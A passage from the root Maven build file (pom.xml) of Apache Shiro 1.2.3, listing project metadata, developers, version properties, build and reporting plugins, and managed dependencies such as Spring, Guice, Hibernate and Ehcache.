Shiro</name>\n    <url>http://shiro.apache.org/</url>\n    <description>\n        Apache Shiro is a powerful and flexible open-source security framework that cleanly handles\n        authentication, authorization, enterprise session management, single sign-on and cryptography services.\n    </description>\n    <inceptionYear>2004</inceptionYear>\n\n    <scm>\n        <connection>scm:svn:http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3</connection>\n        <developerConnection>scm:svn:https://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3</developerConnection>\n        <url>http://svn.apache.org/repos/asf/shiro/tags/shiro-root-1.2.3</url>\n    </scm>\n    <issueManagement>\n        <system>Jira</system>\n        <url>http://issues.apache.org/jira/browse/SHIRO</url>\n    </issueManagement>\n    <ciManagement>\n        <system>Hudson</system>\n        <url>http://hudson.zones.apache.org/hudson/view/Shiro/</url>\n    </ciManagement>\n\n    <distributionManagement>\n        <site>\n            <id>shiro.website</id>\n            <name>Apache Shiro Site</name>\n            <url>scm:svn:https://svn.apache.org/repos/asf/shiro/site/publish/static/latest</url>\n        </site>\n    </distributionManagement>\n\n    <properties>\n\n        <!-- Replaced by the build number plugin at build time: -->\n        <buildNumber>${user.name}-${maven.build.timestamp}</buildNumber>\n\n        <!-- non-dependency-based properties: -->\n        <shiro.osgi.importRange>[1.2, 2)</shiro.osgi.importRange>\n\n        <!-- Compile 3rd party dependencies: -->\n        <!-- Don't change this version without also changing the shiro-aspect and shiro-features\n             modules' OSGi metadata: -->\n        <aspectj.version>1.6.12</aspectj.version>\n        <commons.cli.version>1.2</commons.cli.version>\n        <commons.codec.version>1.4</commons.codec.version>\n        <crowd.version>1.5.2</crowd.version>\n        <!-- Don't change this version without also changing the shiro-ehcache and shiro-features\n             modules' OSGi metadata: -->\n        <ehcache.version>2.5.0</ehcache.version>\n        <hsqldb.version>1.8.0.7</hsqldb.version>\n        <jdk.version>1.5</jdk.version>\n        <jetty.version>6.1.26</jetty.version>\n        <!-- Don't change this version without also changing the shiro-quartz and shiro-features\n             modules' OSGi metadata: -->\n        <quartz.version>1.6.1</quartz.version>\n        <slf4j.version>1.6.4</slf4j.version>\n        <spring.version>3.1.0.RELEASE</spring.version>\n        <guice.version>3.0</guice.version>\n        <guava.version>r09</guava.version>\n\n        <!-- Test 3rd-party dependencies: -->\n        <easymock.version>3.1</easymock.version>\n        <gmaven.version>1.3</gmaven.version>\n        <groovy.version>1.8.5</groovy.version>\n        <junit.version>4.8.2</junit.version>\n\n    </properties>\n\n    <mailingLists>\n        <mailingList>\n            <name>Apache Shiro Users Mailing List</name>\n            <subscribe>user-subscribe@shiro.apache.org</subscribe>\n            <unsubscribe>user-unsubscribe@shiro.apache.org</unsubscribe>\n            <post>user@shiro.apache.org</post>\n            <!--archive/-->\n            <!--otherArchives-->\n        </mailingList>\n        <mailingList>\n            <name>Apache Shiro Developers Mailing List</name>\n            <subscribe>dev-subscribe@shiro.apache.org</subscribe>\n            <unsubscribe>dev-unsubscribe@shiro.apache.org</unsubscribe>\n            <post>dev@shiro.apache.org</post>\n            <!--archive/-->\n            <!--otherArchives-->\n        </mailingList>\n    </mailingLists>\n\n\n    <developers>\n        <developer>\n            <id>aditzel</id>\n            <name>Allan Ditzel</name>\n            <email>aditzel@apache.org</email>\n            <url>http://www.allanditzel.com</url>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>jhaile</id>\n            <name>Jeremy Haile</name>\n            <email>jhaile@apache.org</email>\n            <url>http://www.jeremyhaile.com</url>\n            <organization>Mobilization Labs</organization>\n            <organizationUrl>http://www.mobilizationlabs.com</organizationUrl>            \n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>lhazlewood</id>\n            <name>Les Hazlewood</name>\n            <email>lhazlewood@apache.org</email>\n            <url>http://www.leshazlewood.com</url>\n            <organization>Katasoft</organization>\n            <organizationUrl>http://www.katasoft.com</organizationUrl>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>kaosko</id>\n            <name>Kalle Korhonen</name>\n            <email>kaosko@apache.org</email>\n            <url>http://tynamo.org</url>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-8</timezone>\n        </developer>\n        <developer>\n            <id>pledbrook</id>\n            <name>Peter Ledbrook</name>\n            <email>p.ledbrook@cacoethes.co.uk</email>\n            <url>http://www.cacoethes.co.uk/blog/</url>\n            <organization>SpringSource</organization>\n            <organizationUrl>http://www.springsource.com/</organizationUrl>\n            <timezone>0</timezone>\n        </developer>\n        <developer>\n            <id>tveil</id>\n            <name>Tim Veil</name>\n            <email>tveil@apache.org</email>\n        </developer>\n        <developer>\n            <id>bdemers</id>\n            <name>Brian Demers</name>\n            <email>bdemers@apache.org</email>\n            <url>http://about.me/brian.demers</url>\n            <organization>Sonatype</organization>\n            <organizationUrl>http://www.sonatype.com/</organizationUrl>\n            <timezone>-5</timezone>\n        </developer>\n        <developer>\n            <id>jbunting</id>\n            <name>Jared Bunting</name>\n            <email>jbunting@apache.org</email>\n            <organization>Apache Software Foundation</organization>\n            <timezone>-6</timezone>\n        </developer>\n    </developers>\n\n    <modules>\n        <module>core</module>\n        <module>web</module>\n        <module>support</module>\n        <module>samples</module>\n        <module>tools</module>\n        <module>all</module>\n    </modules>\n\n    <build>\n        <pluginManagement>\n            <plugins>\n                <plugin>\n                    <groupId>org.apache.felix</groupId>\n                    <artifactId>maven-bundle-plugin</artifactId>\n                    <version>2.1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-gpg-plugin</artifactId>\n                    <version>1.1</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-site-plugin</artifactId>\n                    <version>3.1</version>    \n                </plugin>\n                <plugin>\n                    <groupId>org.apache.maven.plugins</groupId>\n                    <artifactId>maven-scm-publish-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.apache.rat</groupId>\n                    <artifactId>apache-rat-plugin</artifactId>\n                    <version>0.8</version>\n                    <configuration>\n                    \t\t<!-- note that this configuration needs to be maintain both in pluginManagement and reporting sections -->\n                        <excludes>\n                            <exclude>**/.externalToolBuilders/*</exclude>\n                            <exclude>**/infinitest.filters</exclude>\n                            <!-- Apparently some test in samples/spring-client generates velocity log - would better to reconfigure to output to target/ -->\n                            <exclude>velocity.log</exclude>\n                        </excludes>\n                    </configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>versions-maven-plugin</artifactId>\n                    <version>1.2</version>\n                </plugin>\n                <!-- Allow writing tests in Groovy: -->\n                <plugin>\n                    <groupId>org.codehaus.gmaven</groupId>\n                    <artifactId>gmaven-plugin</artifactId>\n                    <version>${gmaven.version}</version>\n                    <configuration>\n                        <providerSelection>1.7</providerSelection>\n                        <source>src/main/groovy</source>\n                    </configuration>\n                    <dependencies>\n                        <dependency>\n                            <groupId>org.codehaus.gmaven.runtime</groupId>\n                            <artifactId>gmaven-runtime-1.7</artifactId>\n                            <version>${gmaven.version}</version>\n                            <exclusions>\n                                <exclusion>\n                                    <groupId>org.codehaus.groovy</groupId>\n                                    <artifactId>groovy-all</artifactId>\n                                </exclusion>\n                            </exclusions>\n                        </dependency>\n                        <dependency>\n                            <groupId>org.codehaus.groovy</groupId>\n                            <artifactId>groovy-all</artifactId>\n                            <version>${groovy.version}</version>\n                        </dependency>\n                    </dependencies>\n                </plugin>\n                <!--This plugin's configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.-->\n                <plugin>\n                \t<groupId>org.eclipse.m2e</groupId>\n                \t<artifactId>lifecycle-mapping</artifactId>\n                \t<version>1.0.0</version>\n                \t<configuration>\n                \t\t<lifecycleMappingMetadata>\n                \t\t\t<pluginExecutions>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.codehaus.mojo\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\taspectj-maven-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.3,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>test-compile</goal>\n                \t\t\t\t\t\t\t<goal>compile</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.apache.maven.plugins\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\tmaven-antrun-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.3,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>run</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t\t<pluginExecution>\n                \t\t\t\t\t<pluginExecutionFilter>\n                \t\t\t\t\t\t<groupId>\n                \t\t\t\t\t\t\torg.codehaus.mojo\n                \t\t\t\t\t\t</groupId>\n                \t\t\t\t\t\t<artifactId>\n                \t\t\t\t\t\t\tdependency-maven-plugin\n                \t\t\t\t\t\t</artifactId>\n                \t\t\t\t\t\t<versionRange>\n                \t\t\t\t\t\t\t[1.0,)\n                \t\t\t\t\t\t</versionRange>\n                \t\t\t\t\t\t<goals>\n                \t\t\t\t\t\t\t<goal>unpack</goal>\n                \t\t\t\t\t\t</goals>\n                \t\t\t\t\t</pluginExecutionFilter>\n                \t\t\t\t\t<action>\n                \t\t\t\t\t\t<ignore />\n                \t\t\t\t\t</action>\n                \t\t\t\t</pluginExecution>\n                \t\t\t</pluginExecutions>\n                \t\t</lifecycleMappingMetadata>\n                \t</configuration>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>build-helper-maven-plugin</artifactId>\n                    <version>1.7</version>\n                </plugin>\n                <plugin>\n                    <groupId>org.codehaus.mojo</groupId>\n                    <artifactId>dependency-maven-plugin</artifactId>\n                    <version>1.0</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.rat</groupId>\n                <artifactId>apache-rat-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>2.0.2</version>\n                <configuration>\n                    <source>${jdk.version}</source>\n                    <target>${jdk.version}</target>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.12</version>\n                <configuration>\n                    <printSummary>true</printSummary>\n                </configuration>\n            </plugin>\n            <!-- Allow Groovy tests to run: -->\n            <plugin>\n                <groupId>org.codehaus.gmaven</groupId>\n                <artifactId>gmaven-plugin</artifactId>\n                <version>${gmaven.version}</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>compile</goal>\n                            <goal>testCompile</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <!-- Add SVN Revision To A JAR Manifest\n                     - http://maven.apache.org/plugin-developers/cookbook/add-svn-revision-to-manifest.html\n                -->\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>buildnumber-maven-plugin</artifactId>\n                <version>1.0-beta-4</version>\n                <executions>\n                    <execution>\n                        <phase>validate</phase>\n                        <goals>\n                            <goal>create</goal>\n                        </goals>\n                    </execution>\n                </executions>\n                <configuration>\n                    <doCheck>false</doCheck>\n                    <doUpdate>false</doUpdate>\n                    <revisionOnScmFailure>${project.version}</revisionOnScmFailure>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <version>2.3.1</version>\n                <configuration>\n                    <archive>\n                        <manifest>\n                            <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                            <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                        </manifest>\n                        <manifestEntries>\n                            <SCM-Revision>${buildNumber}</SCM-Revision>\n                            <SCM-url>${project.scm.url}</SCM-url>\n                        </manifestEntries>\n                    </archive>\n                </configuration>\n            </plugin>\n\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-release-plugin</artifactId>\n                <configuration>\n                    <!-- \"install\" needed because we have interrelated dependencies between the modules and we are releasing them all the same - especially consider shiro-all -->\n                    <preparationGoals>clean apache-rat:check install</preparationGoals>\n                    <autoVersionSubmodules>true</autoVersionSubmodules>\n                    <!-- This configuration copied from apache:apache:7 parent pom -->\n                    <useReleaseProfile>false</useReleaseProfile>\n                    <goals>deploy site site:stage</goals>\n                    <arguments>-Pdocs,apache-release</arguments>\n                    <mavenExecutorId>forked-path</mavenExecutorId>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.sonatype.plugins</groupId>\n                <artifactId>nexus-staging-maven-plugin</artifactId>\n                <version>1.6</version>\n                <extensions>true</extensions>\n                <configuration>\n                    <nexusUrl>https://repository.apache.org</nexusUrl>\n                    <serverId>apache.releases.https</serverId>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <dependencies>\n        <!-- Automatically inherited dependencies.  The only ones that should be in here\n             are test dependencies.  Actual compile or runtime dependencies should be\n             explicitly declared in a child module, referencing the dependency defined\n             in this file's <dependencyManagement> section. -->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.easymock</groupId>\n            <artifactId>easymock</artifactId>\n            <version>${easymock.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <!-- Writing tests in groovy is fast!: -->\n        <dependency>\n            <groupId>org.codehaus.groovy</groupId>\n            <artifactId>groovy-all</artifactId>\n            <version>${groovy.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <dependencyManagement>\n        <dependencies>\n            <!-- Intra project dependencies -->\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-core</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-web</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-ehcache</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-quartz</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-spring</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-guice</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-aspectj</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-all</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.shiro.samples</groupId>\n                <artifactId>samples-spring-client</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n\n            <!-- Intra project test dependencies: -->\n            <dependency>\n                <groupId>org.apache.shiro</groupId>\n                <artifactId>shiro-core</artifactId>\n                <version>${project.version}</version>\n                <type>test-jar</type>\n                <scope>test</scope>\n            </dependency>\n\n            <!-- 3rd party dependencies -->\n            <dependency>\n                <!-- used for the 'hasher' command line tool: -->\n                <groupId>commons-cli</groupId>\n                <artifactId>commons-cli</artifactId>\n                <version>${commons.cli.version}</version>\n            </dependency>\n            <dependency>\n                <!-- runtime dependency for the shiro-cas module: -->\n                <groupId>commons-codec</groupId>\n                <artifactId>commons-codec</artifactId>\n                <version>${commons.codec.version}</version>\n                <scope>runtime</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.aspectj</groupId>\n                <artifactId>aspectjrt</artifactId>\n                <version>${aspectj.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.aspectj</groupId>\n                <artifactId>aspectjweaver</artifactId>\n                <version>${aspectj.version}</version>\n            </dependency>\n            <dependency>\n                <!-- Used for Atlassian Crowd Realm - not required for the framework: -->\n                <groupId>com.atlassian.crowd</groupId>\n                <artifactId>crowd-integration-client</artifactId>\n                <version>${crowd.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-api</artifactId>\n                <version>${slf4j.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-simple</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.slf4j</groupId>\n                <artifactId>slf4j-log4j12</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <!-- Required in the sample apps only for 3rd-party libraries that expect to call\n                     the commons logging APIs -->\n                <groupId>org.slf4j</groupId>\n                <artifactId>jcl-over-slf4j</artifactId>\n                <version>${slf4j.version}</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <groupId>commons-beanutils</groupId>\n                <artifactId>commons-beanutils</artifactId>\n                <version>1.8.3</version>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>hsqldb</groupId>\n                <artifactId>hsqldb</artifactId>\n                <version>${hsqldb.version}</version>\n                <scope>runtime</scope>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet.jsp</groupId>\n                <artifactId>jsp-api</artifactId>\n                <version>2.1</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>jstl</artifactId>\n                <version>1.1.2</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>servlet-api</artifactId>\n                <version>2.5</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>log4j</groupId>\n                <artifactId>log4j</artifactId>\n                <version>1.2.16</version>\n                <scope>test</scope>\n                <exclusions>\n                    <exclusion>\n                        <groupId>javax.mail</groupId>\n                        <artifactId>mail</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.jms</groupId>\n                        <artifactId>jms</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>com.sun.jdmk</groupId>\n                        <artifactId>jmxtools</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>com.sun.jmx</groupId>\n                        <artifactId>jmxri</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.codehaus.groovy</groupId>\n                <artifactId>groovy-all</artifactId>\n                <version>${groovy.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>net.sf.ehcache</groupId>\n                <artifactId>ehcache-core</artifactId>\n                <version>${ehcache.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <!-- Used for sample applications only - not required for the framework: -->\n                <groupId>org.hibernate</groupId>\n                <artifactId>hibernate</artifactId>\n                <version>3.2.6.ga</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>ant</groupId>\n                        <artifactId>ant</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <!--suppress MavenModelInspection -->\n                        <groupId>ant-launcher</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>ant-launcher</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>c3p0</groupId>\n                        <artifactId>c3p0</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <!--suppress MavenModelInspection -->\n                        <groupId>javax.security</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>jacc</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.servlet</groupId>\n                        <artifactId>servlet-api</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>jboss</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>jboss-cache</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>net.sf.ehcache</groupId>\n                        <artifactId>ehcache</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>asm</groupId>\n                        <!--suppress MavenModelInspection -->\n                        <artifactId>asm-attrs</artifactId>\n                    </exclusion>\n                    <exclusion>\n                        <groupId>javax.transaction</groupId>\n                        <artifactId>jta</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <!-- Used to support Hibernate's JTA runtime dependency in the sample application(s) only.\n                 Not required for Shiro -->\n            <dependency>\n                <groupId>org.apache.geronimo.specs</groupId>\n                <artifactId>geronimo-jta_1.1_spec</artifactId>\n                <version>1.1.1</version>\n                <scope>runtime</scope>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>org.hibernate</groupId>\n                <artifactId>hibernate-annotations</artifactId>\n                <version>3.2.1.ga</version>\n                <optional>true</optional>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-context</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-jdbc</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-orm</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-webmvc</artifactId>\n                <version>${spring.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-test</artifactId>\n                <version>${spring.version}</version>\n                <scope>test</scope>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n            <dependency>\n                <groupId>com.google.guava</groupId>\n                <artifactId>guava</artifactId>\n                <version>${guava.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject</groupId>\n                <artifactId>guice</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject.extensions</groupId>\n                <artifactId>guice-multibindings</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.google.inject.extensions</groupId>\n                <artifactId>guice-servlet</artifactId>\n                <version>${guice.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.opensymphony.quartz</groupId>\n                <artifactId>quartz</artifactId>\n                <version>${quartz.version}</version>\n                <optional>true</optional>\n                <exclusions>\n                    <exclusion>\n                        <groupId>commons-logging</groupId>\n                        <artifactId>commons-logging</artifactId>\n                    </exclusion>\n                </exclusions>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    \n    <!-- Note that reporting may fail with lower settings than something like: MAVEN_OPTS=\"-X512m -XX:MaxPermSize=128m\" -->\n    <reporting>\n        <plugins>\n            <plugin>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.7</version>\n                <configuration>\n                    <source>${jdk.version}</source>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                    <linksource>true</linksource>\n                    <links>\n                        <link>http://java.sun.com/javase/6/docs/api/</link>\n                        <link>http://java.sun.com/javaee/5/docs/api/</link>\n                        <link>http://www.slf4j.org/api/</link>\n                        <link>http://static.springframework.org/spring/docs/2.5.x/api/</link>\n                        <link>http://junit.org/junit/javadoc/4.4/</link>\n                        <link>http://easymock.org/api/easymock/2.4</link>\n                        <link>http://www.quartz-scheduler.org/docs/api/1.8.0/</link>\n                    </links>\n                    <!-- Don't include the sample apps - they're not part of Shiro's API: -->\n                    <excludePackageNames>org.apache.shiro.samples.*</excludePackageNames>\n                    <top><![CDATA[\n  <!-- Begin Google Analytics code -->\n  <script type=\"text/javascript\">\n      var _gaq = _gaq || [];\n      _gaq.push(['_setAccount', 'UA-11551827-1']);\n      _gaq.push(['_trackPageview']);\n\n      (function() {\n        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;\n        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';\n        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n      })();\n  </script>\n  <!-- End Google Analytics code -->\n                    ]]></top>\n                </configuration>\n                <reportSets>\n                    <reportSet>\n                        <id>javadoc-aggregate</id>\n                        <reports>\n                            <report>aggregate</report>\n                        </reports>\n                    </reportSet>\n                </reportSets>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>cobertura-maven-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <formats>\n                        <format>xml</format>\n                        <format>html</format>\n                    </formats>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-jxr-plugin</artifactId>\n                <version>2.1</version>\n                <configuration>\n                    <aggregate>true</aggregate>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-pmd-plugin</artifactId>\n                <version>2.5</version>\n                <configuration>\n                    <sourceEncoding>utf-8</sourceEncoding>\n                    <targetJdk>1.5</targetJdk>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-project-info-reports-plugin</artifactId>\n                <version>2.2</version>\n                <!-- Disable, just to make it go faster -->\n                <configuration>\n                    <dependencyLocationsEnabled>false</dependencyLocationsEnabled>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.rat</groupId>\n                <artifactId>apache-rat-plugin</artifactId>\n                <version>0.8</version>\n                <configuration>\n                \t\t<!-- note that this configuration needs to be maintain both in pluginManagement and reporting sections -->\n                    <excludes>\n                        <exclude>**/.externalToolBuilders/*</exclude>\n                        <exclude>**/infinitest.filters</exclude>\n                        <!-- Apparently some test in samples/spring-client generates velocity log - would better to reconfigure to output to target/ -->\n                        <exclude>velocity.log</exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-surefire-report-plugin</artifactId>\n                <version>2.5</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>taglist-maven-plugin</artifactId>\n                <version>2.4</version>\n                <configuration>\n                    <tagListOptions>\n                        <tagClasses>\n                            <tagClass>\n                                <displayName>Todo Work</displayName>\n                                <tags>\n                                    <tag>\n                                        <matchString>todo</matchString>\n                                        <matchType>ignoreCase</matchType>\n                                    </tag>\n                                    <tag>\n                                        <matchString>FIXME</matchString>\n                                        <matchType>exact</matchType>\n                                    </tag>\n                                </tags>\n                            </tagClass>\n                            <tagClass>\n                                <displayName>Deprecated</displayName>\n                                <tags>\n                                    <tag>\n                                        <matchString>@Deprecated</matchString>\n                                        <matchType>exact</matchType>\n                                    </tag>\n                                </tags>\n                            </tagClass>\n                        </tagClasses>\n                    </tagListOptions>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>jdepend-maven-plugin</artifactId>\n                <version>2.0-beta-2</version>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>dashboard-maven-plugin</artifactId>\n                <version>1.0.0-beta-1</version>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <profiles>\n        <profile>\n            <id>docs</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <version>2.7</version>\n                        <executions>\n                            <execution>\n                                <id>attach-api-docs</id>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                        <inherited>true</inherited>\n                    </plugin>\n                    <plugin>\n                        